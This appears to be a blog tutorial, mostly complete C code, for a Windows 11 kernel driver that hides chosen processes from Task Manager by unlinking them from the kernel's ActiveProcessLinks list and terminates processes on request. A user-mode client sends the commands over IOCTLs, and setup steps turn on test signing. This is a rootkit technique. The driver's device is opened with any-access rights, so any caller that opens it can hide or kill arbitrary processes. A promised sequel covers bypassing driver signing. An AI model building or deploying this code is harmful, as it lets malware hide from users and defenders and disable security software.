In this article, we’re going to be looking at hiding and killing processes using a Windows kernel mode driver.
Configure a Windows 11 virtual machine, ensure Secure Boot is disabled. Enable test signing mode using bcdedit to allow us to install unsigned kernel drivers.
bcdedit /debug on
bcdedit /set testsigning on
You will need to calculate the offset to the ActiveProcessLinks data structure as per our previous article on kernel debugging. I’m testing this against Windows 11 24H2 virtual machine.
0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x1c8 ProcessLock : _EX_PUSH_LOCK
+0x1d0 UniqueProcessId : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
We can see the offset is 0x1d8 on our Windows 11 24H2 system.
Create a Kernel driver project in visual studio and import the following. For brevity, this code is hardcoded the process ID (PID) value. This is the PID that will be hidden from Task Manager.
#include <Ntifs.h>
#include <ntddk.h>
VOID HideProcessByPid(ULONG pidToHide);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNREFERENCED_PARAMETER(driverObject);
KdPrint(("[+] Unloading driver\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
UNREFERENCED_PARAMETER(registryPath);
KdPrint(("[+] Driver loaded\n"));
driverObject->DriverUnload = DriverUnload;
ULONG pidToHide = 9636;
KdPrint(("[+] Calling Hide Process...\n"));
HideProcessByPid(pidToHide);
KdPrint(("[+] Called Hide Process\n"));
return STATUS_SUCCESS;
}
VOID HideProcessByPid(ULONG pidToHide) {
PEPROCESS targetProcess = NULL;
PLIST_ENTRY activeProcLinks;
PLIST_ENTRY prevEntry, nextEntry;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// 0x1d8 = Windows 11 24H2 ActiveLinks Offset
activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);
prevEntry = activeProcLinks->Blink;
nextEntry = activeProcLinks->Flink;
DbgPrint("[*] targetProcess: %p\n", targetProcess);
DbgPrint("[*] activeProcLinks: %p\n", activeProcLinks);
DbgPrint("[*] prevEntry: %p\n", prevEntry);
DbgPrint("[*] nextEntry: %p\n", nextEntry);
// Unlink the process from the list
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
ObDereferenceObject(targetProcess);
KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
}
else {
KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
}
}
Ensure that you compile a debug version of the driver (not a release version), as this will allow us to see the debug messages being printed.
Use sc to start the driver.
C:\>sc create MyDriver type= kernel binPath= C:\MyDriver.sys
[SC] CreateService SUCCESS
C:\Users\user\Desktop>sc start MyDriver
SERVICE_NAME: MyDriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
Microsoft DebugView can be used to view the debug messages printed by the driver.
In DebugView, go to the “Capture” menu and ensure the following are checked.
- Capture Kernel_
- Capture Win32_
- Capture Global Win32_
- Pass-Through_
When the driver is loaded you should see it identifying the process handle, the ActiveProcessLinks offset and the pointers to the previous and next process entries.

At this point, the PID we pointed to in the code will be hidden from task manager.
Implementing User Mode Communication
Rather than keeping a hard coded PID value, we can write a user mode application that can communicate with the kernel driver through a IOCTL (Input/Output Control).
To send and receive these requests, the DeviceIoControl function is used with the following parameters.
DeviceIoControl(
hDevice, // handle to device (from CreateFile)
IOCTL_MY_COMMAND, // control code (IOCTL)
inputBuffer, // pointer to input buffer (optional)
inputBufferSize, // size of input buffer
outputBuffer, // pointer to output buffer (optional)
outputBufferSize, // size of output buffer
&bytesReturned, // bytes returned
NULL // overlapped (for async)
);
In addition, we will also add the ability to kill processes using the ZwTerminateProcess routine.
Driver Code
#include <Ntifs.h>
#include <ntddk.h>
#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define PROCESS_TERMINATE 0x0001
VOID HideProcessByPid(ULONG pidToHide);
NTSTATUS KillProcessByPid(ULONG pidToKill);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(driverObject->DeviceObject);
KdPrint(("[+] Unloading driver\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
ULONG inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
if (inputLen == sizeof(ULONG)) {
ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
switch (controlCode) {
case IOCTL_HIDE_PROCESS:
KdPrint(("[+] IOCTL_HIDE_PROCESS received for PID %u\n", pid));
HideProcessByPid(pid);
status = STATUS_SUCCESS;
break;
case IOCTL_KILL_PROCESS:
KdPrint(("[+] IOCTL_KILL_PROCESS received for PID %u\n", pid));
status = KillProcessByPid(pid);
break;
default:
KdPrint(("[-] Unknown IOCTL code: 0x%08X\n", controlCode));
break;
}
Irp->IoStatus.Information = 0;
}
else {
KdPrint(("[-] Invalid input size: %u\n", inputLen));
status = STATUS_BUFFER_TOO_SMALL;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
PDEVICE_OBJECT deviceObject = NULL;
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\HideProcDevice");
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
UNREFERENCED_PARAMETER(registryPath);
NTSTATUS status = IoCreateDevice(
driverObject,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&deviceObject
);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] Failed to create device (0x%08X)\n", status));
return status;
}
status = IoCreateSymbolicLink(&symLink, &deviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(deviceObject);
KdPrint(("[-] Failed to create symbolic link (0x%08X)\n", status));
return status;
}
driverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
driverObject->DriverUnload = DriverUnload;
KdPrint(("[+] Driver loaded\n"));
return STATUS_SUCCESS;
}
NTSTATUS KillProcessByPid(ULONG pidToKill)
{
NTSTATUS status;
HANDLE processHandle;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pidToKill;
clientId.UniqueThread = NULL;
// Open a handle to the process
status = ZwOpenProcess(&processHandle, PROCESS_TERMINATE, &objAttr, &clientId);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] ZwOpenProcess failed for PID %u: 0x%X\n", pidToKill, status));
return status;
}
// Terminate the process
status = ZwTerminateProcess(processHandle, STATUS_SUCCESS);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] ZwTerminateProcess failed for PID %u: 0x%X\n", pidToKill, status));
}
else {
KdPrint(("[+] Successfully terminated PID %u\n", pidToKill));
}
ZwClose(processHandle);
return status;
}
VOID HideProcessByPid(ULONG pidToHide) {
PEPROCESS targetProcess = NULL;
PLIST_ENTRY activeProcLinks;
PLIST_ENTRY prevEntry, nextEntry;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// 0x1d8 = Windows 11 24H2 ActiveLinks Offset
activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);
prevEntry = activeProcLinks->Blink;
nextEntry = activeProcLinks->Flink;
DbgPrint("[*] targetProcess: %p\n", targetProcess);
DbgPrint("[*] activeProcLinks: %p\n", activeProcLinks);
DbgPrint("[*] prevEntry: %p\n", prevEntry);
DbgPrint("[*] nextEntry: %p\n", nextEntry);
// Unlink the process from the list
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
// Nullify the processes BLINK/FLINK. Failure to do so will cause a crash when the process closes.
activeProcLinks->Flink = activeProcLinks;
activeProcLinks->Blink = activeProcLinks;
ObDereferenceObject(targetProcess);
KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
}
else {
KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
}
}
Client Code
Compile the following as a C++ command line application.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED 0
#define FILE_ANY_ACCESS 0
#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
int main(int argc, char** argv) {
if (argc != 3) {
printf("Usage: %s <PID> <hide|kill>\n", argv[0]);
printf("Example: %s 1234 hide\n", argv[0]);
printf(" %s 1234 kill\n", argv[0]);
return 1;
}
// Parse PID
char* endptr = NULL;
ULONG pid = strtoul(argv[1], &endptr, 10);
if (endptr == argv[1] || *endptr != '\0' || pid == 0) {
printf("[-] Invalid PID: %s\n", argv[1]);
return 2;
}
// Determine action: hide or kill
DWORD ioctlCode = 0;
if (_stricmp(argv[2], "hide") == 0) {
ioctlCode = IOCTL_HIDE_PROCESS;
}
else if (_stricmp(argv[2], "kill") == 0) {
ioctlCode = IOCTL_KILL_PROCESS;
}
else {
printf("[-] Invalid action: %s. Use 'hide' or 'kill'.\n", argv[2]);
return 3;
}
printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);
// Open handle to driver
HANDLE hDevice = CreateFileA(
"\\\\.\\HideProc",
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 4;
}
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice,
ioctlCode,
&pid,
sizeof(pid),
NULL,
0,
&bytesReturned,
NULL
);
if (success) {
printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
}
else {
printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return success ? 0 : 5;
}
As before, make sure the driver is loaded then run the client specifying the PID value you wish to hide.

In Conclusion
Kernel drivers typically require digital signatures issued by Microsoft in order to be successfully installed. In the next article, we will be looking at bypassing that restriction to load our driver.